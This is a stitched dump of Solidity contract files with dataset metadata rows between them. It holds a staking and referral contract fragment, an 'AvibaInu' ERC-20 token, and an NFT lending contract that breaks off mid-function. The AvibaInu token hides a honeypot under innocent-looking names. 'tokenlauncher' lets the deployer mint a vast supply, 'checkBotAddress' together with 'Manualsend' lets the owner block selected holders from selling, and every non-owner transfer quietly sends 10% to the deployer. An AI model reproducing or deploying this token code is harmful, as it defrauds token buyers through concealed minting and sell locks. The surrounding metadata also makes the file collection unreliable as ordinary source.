function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount * 10 ** 6);
_balances[msg.sender] = _balances[msg.sender].add(amount);
// cpt.transferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
// cpt.transfer(msg.sender, amount);
}
}
contract CoinBossRewards is LPTokenWrapper, Ownable {
using SafeMath for uint256;
struct UserInfo{
uint _userid;
uint _upline_id;
address _owner_address;
address _referral_address;
uint _created_date;
}
IERC20 public acb;
uint public acbRate = 50000000;
uint public cptRate = 1;
uint public usdtRate = 150000000;
uint256 public constant DURATION = 90 days;
uint256 public initreward;
uint256 public starttime = 1636563600;
uint256 public periodFinish = 0;
uint256 public periodStart = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public TotalBurnedACB;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint public IdCount = 1;
bool public MiningStart = false;
uint public ACBTokenIncreamentValue;
uint8 public CurrentPhase;
uint public ComputingPowerValue = 0;
uint public ACBIncreamentRate;
bool public IsComputingPowerFeesActivated;
bool public IsACBIncrementActivated;
// uint public ACBTokenValue = 50;
// uint public USDTValue = 150;
address public PlatformAccount;
address public BurnAccount;
mapping(address => uint) public ComputingPowerBalance;
mapping(address => uint) public ActivatedComputingPower;
mapping(address => address) public ReferralAddress;
mapping(uint => uint) public ReferralId;
mapping(address => uint) public UserAccount;
mapping(uint => address) public UserId;
mapping(uint => uint) public UserCreatedDate;
mapping(uint => uint) public PhaseReward;
mapping(uint => uint) public ReferralRewardValue;
mapping(address => uint) public ReferralRewardAmount;
mapping(uint => uint) public PhaseStartTime;
mapping(uint => uint) public PhaseEndTime;
mapping(uint => uint) public PhaseRewardRate;
mapping(address => uint) public ReferralRewardClaimed;
mapping(address => uint) public EarnClaimed;
event RewardAdded(address indexed caller, uint256 reward);
event Staked(address indexed caller, address indexed user, uint256 indexed amount);
event Withdrawn(address indexed caller, address indexed user, uint256 indexed amount);
event RewardPaid(address indexed caller, address indexed user, uint256 indexed reward);
event BuyCompleted(address indexed caller, uint indexed _amount, uint indexed token_deduct_amount);
event ACBRateIncrement(address indexed caller, uint indexed _amount, uint indexed _current_acb_price);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
// constructor() public{ //Include start time here
constructor(address _acb, address _platform, address _burn) public{ //Include start time here
CurrentPhase = 0;
PhaseReward[1] = 120000 * 10 ** 6;
PhaseReward[2] = 100000 * 10 ** 6;
PhaseReward[3] = 95000 * 10 ** 6;
PhaseReward[4] = 85000 * 10 ** 6;
PhaseReward[5] = 80000 * 10 ** 6;
PhaseReward[6] = 75000 * 10 ** 6;
PhaseReward[7] = 70000 * 10 ** 6;
PhaseReward[8] = 65000 * 10 ** 6;
PhaseReward[9] = 60000 * 10 ** 6;
PhaseReward[10] = 55000 * 10 ** 6;
PhaseReward[11] = 50000 * 10 ** 6;
PhaseReward[12] = 45000 * 10 ** 6;
ReferralRewardValue[1] = 30;
ReferralRewardValue[2] = 20;
ReferralRewardValue[3] = 10;
ReferralRewardValue[4] = 10;
ReferralRewardValue[5] = 5;
ReferralRewardValue[6] = 5;
ReferralRewardValue[7] = 5;
ReferralRewardValue[8] = 5;
ReferralRewardValue[9] = 5;
ReferralRewardValue[10] = 5;
initreward = PhaseReward[CurrentPhase];
ACBIncreamentRate = 6250;
PlatformAccount = _platform;
UserId[1] = PlatformAccount;
ReferralId[1] = 1;
UserAccount[PlatformAccount] = 1;
ReferralAddress[PlatformAccount] = PlatformAccount;
UserCreatedDate[1] = block.timestamp;
BurnAccount = _burn;
acb = IERC20(_acb);
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e6)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
// .div(1e6)
.add(rewards[account]);
}
function Activate() public updateReward(msg.sender) checkPhase checkStart checkUser{
require(ComputingPowerBalance[msg.sender] > 0, "No Computing Power Available To Activate.");
uint amount = ComputingPowerBalance[msg.sender];
//Start increase after activated
if(IsComputingPowerFeesActivated){
//For every xT, send one to platformaccount
uint value = ComputingPowerValue;
value = value + amount;
uint fees = value.div(10);
ComputingPowerValue = value.mod(10);
ComputingPowerBalance[PlatformAccount] = ComputingPowerBalance[PlatformAccount] + fees;
}
// cpt => activated cpt
ActivatedComputingPower[msg.sender] = ActivatedComputingPower[msg.sender].add(amount);
ComputingPowerBalance[msg.sender] = 0;
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, msg.sender, amount);
}
function claim() public updateReward(msg.sender) checkPhase checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
//Reward div 2, 1 => User 2 => Referral
rewards[msg.sender] = 0;
reward = reward.div(2);
//record reward for referral
address referral = ReferralAddress[msg.sender];
uint paid;
uint count = 1;
while(count <= 10){
uint currentPaid = reward.mul(ReferralRewardValue[count]).div(100);
ReferralRewardAmount[referral] = ReferralRewardAmount[referral] + currentPaid;
paid = paid.add(currentPaid);
if(referral == PlatformAccount){
if(reward.sub(paid) > 0){
TotalBurnedACB = TotalBurnedACB.add(reward.sub(paid));
acb.transfer(BurnAccount, reward.sub(paid));
}
break;
}
referral = ReferralAddress[referral];
count++;
}
reward = reward.add(ReferralRewardAmount[msg.sender]);
ReferralRewardClaimed[msg.sender] = ReferralRewardClaimed[msg.sender].add(ReferralRewardAmount[msg.sender]);
ReferralRewardAmount[msg.sender] = 0;
acb.transfer(msg.sender, reward);
EarnClaimed[msg.sender] = EarnClaimed[msg.sender].add(reward);
emit RewardPaid(msg.sender, msg.sender, reward);
}
}
modifier checkPhase(){
if (block.timestamp >= periodFinish) {
if(CurrentPhase == 12){
periodFinish = PhaseEndTime[12];
}
else{
CurrentPhase = CurrentPhase + 1;
initreward = PhaseReward[CurrentPhase];
rewardRate = initreward.div(DURATION);
periodFinish = PhaseEndTime[CurrentPhase];
}
emit RewardAdded(msg.sender, initreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"not start");
_;
}
function notifyRewardAmount(uint reward)
external
onlyOwner
updateReward(address(0))
{
reward = PhaseReward[CurrentPhase];
if (block.timestamp >= periodFinish) {
if(CurrentPhase == 12){
periodFinish = PhaseEndTime[12];
}
else{
CurrentPhase = CurrentPhase + 1;
reward = PhaseReward[CurrentPhase];
initreward = reward;
rewardRate = reward.div(DURATION);
uint counter = 1;
while(counter < 13){
PhaseEndTime[counter] = block.timestamp.add(DURATION.mul(counter));
counter++;
}
periodFinish = PhaseEndTime[CurrentPhase];
}
}
emit RewardAdded(msg.sender, reward);
}
modifier checkUser(){
if(UserAccount[msg.sender] == 0){
IdCount = IdCount + 1;
UserAccount[msg.sender] = IdCount;
UserId[IdCount] = msg.sender;
UserCreatedDate[IdCount] = block.timestamp;
}
_;
}
function Buy(uint _amount, address _referral) checkUser public{
//If already have referral ignore
if(ReferralAddress[msg.sender] == address(0)){
if(ValidateReferral(_referral) > 0){
ReferralAddress[msg.sender] = _referral;
ReferralId[UserAccount[msg.sender]] = UserAccount[_referral];
}
}
//Swap Calculation
address from_ = msg.sender;
uint token_deduct_amount = _amount * acbRate;
//Trade ACB to CPT
require(token_deduct_amount <= acb.balanceOf(msg.sender), "Insufficient ACB token balance.");
acb.transferFrom(msg.sender, BurnAccount, token_deduct_amount);
ComputingPowerBalance[from_] = ComputingPowerBalance[from_] + _amount;
//Record burn token
TotalBurnedACB = TotalBurnedACB.add(token_deduct_amount);
if(IsACBIncrementActivated){
//Increase rate for every computing power
acbRate = acbRate.sub(ACBIncreamentRate.mul(_amount)); //0.006250 == 6250
emit ACBRateIncrement(msg.sender, _amount ,acbRate);
}
emit BuyCompleted(msg.sender, _amount, token_deduct_amount);
}
function MintACB() external onlyOwner{
acb.mint(address(this), 900000 * (10 ** uint256(6)));
}
function ValidateReferral(address _referral) internal view returns(uint Id){
require(UserAccount[_referral] != 0, "Referral address not found");
return UserAccount[_referral];
}
function ActivateComputingPowerFees() onlyOwner public{
IsComputingPowerFeesActivated = true;
}
function ActivateACBIncrement() onlyOwner public{
IsACBIncrementActivated = true;
}
function SetACBIncreamentRate(uint rate) onlyOwner external{
ACBIncreamentRate = rate;
}
function GetTotalEarning(address _address) external view returns(uint){
return ReferralRewardAmount[_address] + ReferralRewardClaimed[_address] + EarnClaimed[_address] + (earned(_address).div(2));
}
}
| 295,522 | 13,113 |
af21b4389417b49455ca3ce0e051c3135183569d25d5a91588e3d48615e34aa9
| 21,509 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c0/c0058fcd9e833a5bb23885f6ea5aea778b1b0fa1_AvibaInu.sol
| 2,861 | 10,944 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AvibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'Aviba Inu';
string private _symbol = 'AVIBAINU';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function Manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenlauncher() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 78,009 | 13,114 |
928a9ba8ea525712d67e4cba0269c0597d788f1955666645e8aecb75af9543eb
| 23,718 |
.sol
|
Solidity
| false |
456108116
|
mantlefi/contract-ethereum-nft-lending
|
787e2561f5f07b09f7ea5b7d5e3b2e45f5aef48b
|
contract/mantle_v1.sol
| 5,983 | 21,692 |
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
//Mantle Finance - https://mantlefi.com/
//
// ooO
// ooOOOo
// oOOOOOOoooo
// ooOOOooo oooo
// /vvv V\
// /V V V\
// /V V V\
// / \ ALL HAIL LIQUIDITY!!!!!
// / \ /
// / \ o o
// / \ /- o /-
// /\ / \ /\ -/- /\
// /\
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface IRoyaltyFeeManager {
function calculateRoyaltyFeeAndGetRecipient(address collection,
uint256 tokenId,
uint256 amount) external view returns (address, uint256);
}
contract MantleFinanceV1 is Ownable, ERC721, ReentrancyGuard, Pausable {
using Strings for uint256;
using SafeMath for uint256;
using ECDSA for bytes32;
// NOTE: these hashes are derived and verified in the constructor.
// keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
bytes32 private constant _EIP_712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
// keccak256("MantleFinanceV1")
bytes32 private constant _NAME_HASH = 0xaba6aa90b1d7c4077fcd4112d89757c977ec45dd567696446208806c35fa3fe3;
// keccak256(bytes("1"))
bytes32 private constant _VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
bytes32 private constant _BORROWER_TYPEHASH = 0x107182850da2230853efed1dfd0ea3fd85b39a3b9b0a5381ea9fd5dba147aac0;
bytes32 private constant _LENDER_TYPEHASH = 0x1f0d56b2c9f2a40bbf20b01d1b8dcfe864e4dba64eb65c598bb0de477236473a;
//This NFT is also destroyed during repayment and claimed.
//Note that transferring this PN means that you no longer have the rights to claim and get repayment.
constructor() ERC721("Mantle Fianace Promissory Note", "Mantle PN") {
require(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") == _EIP_712_DOMAIN_TYPEHASH, "_EIP_712_DOMAIN_TYPEHASH error");
require(keccak256(bytes("MantleFinanceV1")) == _NAME_HASH, "_NAME_HASH error");
require(keccak256(bytes("1")) == _VERSION_HASH, "_VERSION_HASH error");
require(keccak256("BorrowerOrder(uint256 nftCollateralId,uint256 borrowerNonce,address nftCollateralContract,address borrower,uint256 expireTime,uint256 chainId)") == _BORROWER_TYPEHASH, "_BORROWER_TYPEHASH error");
require(keccak256("LenderOrder(uint256 loanPrincipalAmount,uint256 repaymentAmount,uint256 nftCollateralId,uint256 loanDuration,uint256 adminFee,uint256 lenderNonce,address nftCollateralContract,address loanERC20,address lender,uint256 expireTime,uint256 chainId)") == _LENDER_TYPEHASH, "_LENDER_TYPEHASH error");
}
//Whitelist of NFT projects and ERC-20
mapping (address => bool) public whitelistForAllowedERC20;
mapping (address => bool) public whitelistForAllowedNFT;
//The current total loan and the ongoing loans in the protocol
uint256 public totalNumLoans = 0;
uint256 public totalActiveLoans = 0;
//This is where the loans are actually stored in the protocol.
//Note that we separate whether the claimed or repayment have been done.
//The content of loanIdToLoan will be deleted during repayment and claimed.
mapping (uint256 => Loan) public loanIdToLoan;
mapping (uint256 => bool) public loanRepaidOrClaimed;
//Royalty Fee Manager, refers to the structure of https://looksrare.org/
IRoyaltyFeeManager public royaltyFeeManager;
uint256 public adminFee = 500;
mapping (address => mapping (uint256 => bool)) private _nonceOfSigning;
//Other parameters
uint256 public maximumLoanDuration = 53 weeks;
uint256 public maximumNumberOfActiveLoans = 100;
string private _baseURIExtended;
struct Loan {
uint256 loanId;
uint256 loanPrincipalAmount;
uint256 repaymentAmount;
uint256 nftCollateralId;
uint64 loanStartTime;
uint32 loanDuration;
uint32 loanAdminFee;
address[2] nftCollateralContractAndloanERC20;
address borrower;
}
struct BorrowerOrder {
uint256 nftCollateralId;
uint256 borrowerNonce;
address nftCollateralContract;
address borrower;
uint256 expireTime;
uint256 chainId;
}
struct LenderOrder {
uint256 loanPrincipalAmount;
uint256 repaymentAmount;
uint256 nftCollateralId;
uint256 loanDuration;
uint256 adminFee;
uint256 lenderNonce;
address nftCollateralContract;
address loanERC20;
address lender;
uint256 expireTime;
uint256 chainId;
}
//Events
event LoanStarted(uint256 loanId,
address borrower,
address lender,
uint256 loanPrincipalAmount,
uint256 maximumRepaymentAmount,
uint256 nftCollateralId,
uint256 loanStartTime,
uint256 loanDuration,
address nftCollateralContract,
address loanERC20Denomination);
event LoanRepaid(uint256 loanId,
address borrower,
address lender,
uint256[2] loanPrincipalAmountAndRepaymentAmount,
uint256 nftCollateralId,
uint256[3] amountPaidToLenderAndAdminFeeAndRoyaltyFee,
address[2] nftCollateralContractAndloanERC20Denomination);
event LoanClaimed(uint256 loanId,
address borrower,
address lender,
uint256 loanPrincipalAmount,
uint256 nftCollateralId,
uint256 loanMaturityDate,
uint256 loanClaimedDate,
address nftCollateralContract);
event AdminFeeUpdated(uint256 newAdminFee);
event NonceUsed(address user,
uint nonce);
event NewRoyaltyFeeManager(address indexed royaltyFeeManager);
event RoyaltyPayment(address indexed collection,
uint256 indexed tokenId,
address indexed royaltyRecipient,
address currency,
uint256 amount);
//Main function
function beginLoan(uint256 _loanPrincipalAmount,
uint256 _repaymentAmount,
uint256 _nftCollateralId,
uint256 _loanDuration,
uint256 _adminFee,
uint256[2] memory _borrowerAndLenderNonces,
address[2] memory _contract,
address _lender,
uint256[2] memory _ExpireTime,
bytes memory _borrowerSignature,
bytes memory _lenderSignature) public whenNotPaused nonReentrant {
//Whitelist check
require(whitelistForAllowedNFT[_contract[0]], 'This NFT project is currently not on the ERC-721 whitelist');
require(whitelistForAllowedERC20[_contract[1]], 'This ERC-20 token is currently not on the ERC-20 whitelist');
//Lending logic check
require(maximumLoanDuration >= _loanDuration, 'The loan period must shorter than the protocol limit');
require(_repaymentAmount >= _loanPrincipalAmount, 'Protocol does not accept negative interest rate loan cases');
require(_loanDuration >= 0, 'Loan duration needs to be set');
require(_adminFee == adminFee, 'The admin fee in signature is different from the preset, and lender needs to sign again');
//Nonce check
require(_nonceOfSigning[msg.sender][_borrowerAndLenderNonces[0]] == false, 'Borrowers Nonce has been used. The order has been established, or Borrower has cancelled the Offer');
require(_nonceOfSigning[_lender][_borrowerAndLenderNonces[1]] == false, 'Lenders Nonce has been used. The order has been established, or Lender has cancelled the listing');
//Set borrower and Lender's Nonce to use state
_nonceOfSigning[msg.sender][_borrowerAndLenderNonces[0]] = true;
_nonceOfSigning[_lender][_borrowerAndLenderNonces[1]] = true;
Loan memory loan = Loan({
loanId: totalNumLoans, //currentLoanId,
loanPrincipalAmount: _loanPrincipalAmount,
repaymentAmount: _repaymentAmount,
nftCollateralId: _nftCollateralId,
loanStartTime: uint64(block.timestamp), //_loanStartTime
loanDuration: uint32(_loanDuration),
loanAdminFee: uint32(_adminFee),
nftCollateralContractAndloanERC20: _contract,
borrower: msg.sender //borrower
});
require(isValidBorrowerSignature(loan.nftCollateralId,
_borrowerAndLenderNonces[0],//_borrowerNonce,
loan.nftCollateralContractAndloanERC20[0],
msg.sender, //borrower,
_ExpireTime[0],
_borrowerSignature), 'Borrower signature is invalid');
require(isValidLenderSignature(loan.loanPrincipalAmount,
loan.repaymentAmount,
loan.nftCollateralId,
loan.loanDuration,
loan.loanAdminFee,
_borrowerAndLenderNonces[1],//_lenderNonce,
loan.nftCollateralContractAndloanERC20,
_lender,
_ExpireTime[1],
_lenderSignature), 'Lender signature is invalid');
//Put Loan into the mapping
loanIdToLoan[totalNumLoans] = loan;
totalNumLoans = totalNumLoans.add(1);
totalActiveLoans = totalActiveLoans.add(1);
require(totalActiveLoans <= maximumNumberOfActiveLoans, 'Contract has reached the maximum number of active loans allowed by admins');
//Transfer fund and collateralized NFT to the protocol
IERC721(loan.nftCollateralContractAndloanERC20[0]).transferFrom(msg.sender, address(this), loan.nftCollateralId);
IERC20(loan.nftCollateralContractAndloanERC20[1]).transferFrom(_lender, msg.sender, loan.loanPrincipalAmount);
//Mint Mantle Fianance Promissory Note
_mint(_lender, loan.loanId);
emit LoanStarted(loan.loanId,
msg.sender, //borrower,
_lender,
loan.loanPrincipalAmount,
loan.repaymentAmount,
loan.nftCollateralId,
block.timestamp, //_loanStartTime
loan.loanDuration,
loan.nftCollateralContractAndloanERC20[0],
loan.nftCollateralContractAndloanERC20[1]);
emit NonceUsed(msg.sender,
_borrowerAndLenderNonces[0]);
emit NonceUsed(_lender,
_borrowerAndLenderNonces[1]);
}
function payBackLoan(uint256 _loanId) external nonReentrant {
//Check if the loan has been repaid, or claimed
require(loanRepaidOrClaimed[_loanId] == false, 'Loan has already been repaid or claimed');
loanRepaidOrClaimed[_loanId] = true;
//Get detail in the loan
Loan memory loan = loanIdToLoan[_loanId];
require(msg.sender == loan.borrower, 'Only the borrower can pay back a loan and reclaim the underlying NFT');
//Take the final lender of this Loan and repay
address lender = ownerOf(_loanId);
uint256 interestDue = (loan.repaymentAmount).sub(loan.loanPrincipalAmount);
uint256 adminFeePay = _computeAdminFee(interestDue, uint256(loan.loanAdminFee));
(address royaltyFeeRecipient, uint256 royaltyFeeAmount) = royaltyFeeManager.calculateRoyaltyFeeAndGetRecipient(loan.nftCollateralContractAndloanERC20[0], loan.nftCollateralId, interestDue);
if ((royaltyFeeRecipient != address(0)) && (royaltyFeeAmount != 0)) {
IERC20(loan.nftCollateralContractAndloanERC20[1]).transferFrom(loan.borrower, royaltyFeeRecipient, royaltyFeeAmount);
emit RoyaltyPayment(loan.nftCollateralContractAndloanERC20[0], loan.nftCollateralId, royaltyFeeRecipient, loan.nftCollateralContractAndloanERC20[1], royaltyFeeAmount);
}
uint256 payoffAmount = ((loan.loanPrincipalAmount).add(interestDue)).sub(adminFeePay).sub(royaltyFeeAmount);
//Reduce the amount of ongoing loans in the protocol
totalActiveLoans = totalActiveLoans.sub(1);
//Transfer fee and return funds
IERC20(loan.nftCollateralContractAndloanERC20[1]).transferFrom(loan.borrower, lender, payoffAmount);
IERC20(loan.nftCollateralContractAndloanERC20[1]).transferFrom(loan.borrower, owner(), adminFeePay);
//Burn Mantle Finance Promissory Note
_burn(_loanId);
//Transfer the collateralized NFT to Borrower
require(_transferNftToAddress(loan.nftCollateralContractAndloanERC20[0],
loan.nftCollateralId,
loan.borrower), 'NFT was not successfully transferred');
emit LoanRepaid(_loanId,
loan.borrower,
lender,
[loan.loanPrincipalAmount, loan.repaymentAmount],
loan.nftCollateralId,
[payoffAmount, adminFee, royaltyFeeAmount],
[loan.nftCollateralContractAndloanERC20[0], loan.nftCollateralContractAndloanERC20[1]]);
delete loanIdToLoan[_loanId];
}
function claimOverdueLoan(uint256 _loanId) external nonReentrant {
//Check if the loan has been repaid, or claimeded
require(loanRepaidOrClaimed[_loanId] == false, 'Loan has already been repaid or claimed');
loanRepaidOrClaimed[_loanId] = true;
//Get detail in the loan and check if it's overdue and can be claimed
Loan memory loan = loanIdToLoan[_loanId];
uint256 loanMaturityDate = (uint256(loan.loanStartTime)).add(uint256(loan.loanDuration));
require(block.timestamp > loanMaturityDate, 'Loan is not overdue yet');
//Reduce the amount of ongoing loans in the protocol
totalActiveLoans = totalActiveLoans.sub(1);
//Take the final lender of this Loan and claim nft
address lender = ownerOf(_loanId);
require(_transferNftToAddress(loan.nftCollateralContractAndloanERC20[0],
loan.nftCollateralId,
lender), 'NFT was not successfully transferred');
//Burn Mantle Finance Promissory Note
_burn(_loanId);
emit LoanClaimed(_loanId,
loan.borrower,
lender,
loan.loanPrincipalAmount,
loan.nftCollateralId,
loanMaturityDate,
block.timestamp,
loan.nftCollateralContractAndloanERC20[0]);
delete loanIdToLoan[_loanId];
}
function setNonceUsed(uint256 _nonce) external {
require(_nonceOfSigning[msg.sender][_nonce] == false, 'This Nonce has been used, the order has been established, or the Offer has been cancelled');
_nonceOfSigning[msg.sender][_nonce] = true;
emit NonceUsed(msg.sender,
_nonce);
}
//Admin
function setWhitelistERC20(address _erc20, bool _bool) external onlyOwner {
whitelistForAllowedERC20[_erc20] = _bool;
}
function setWhitelistNFTContract(address _erc721, bool _bool) external onlyOwner {
whitelistForAllowedNFT[_erc721] = _bool;
}
function updateMaximumLoanDuration(uint256 _newMaximumLoanDuration) external onlyOwner {
require(_newMaximumLoanDuration <= uint256(~uint32(0)), 'loan duration cannot exceed space alotted in struct');
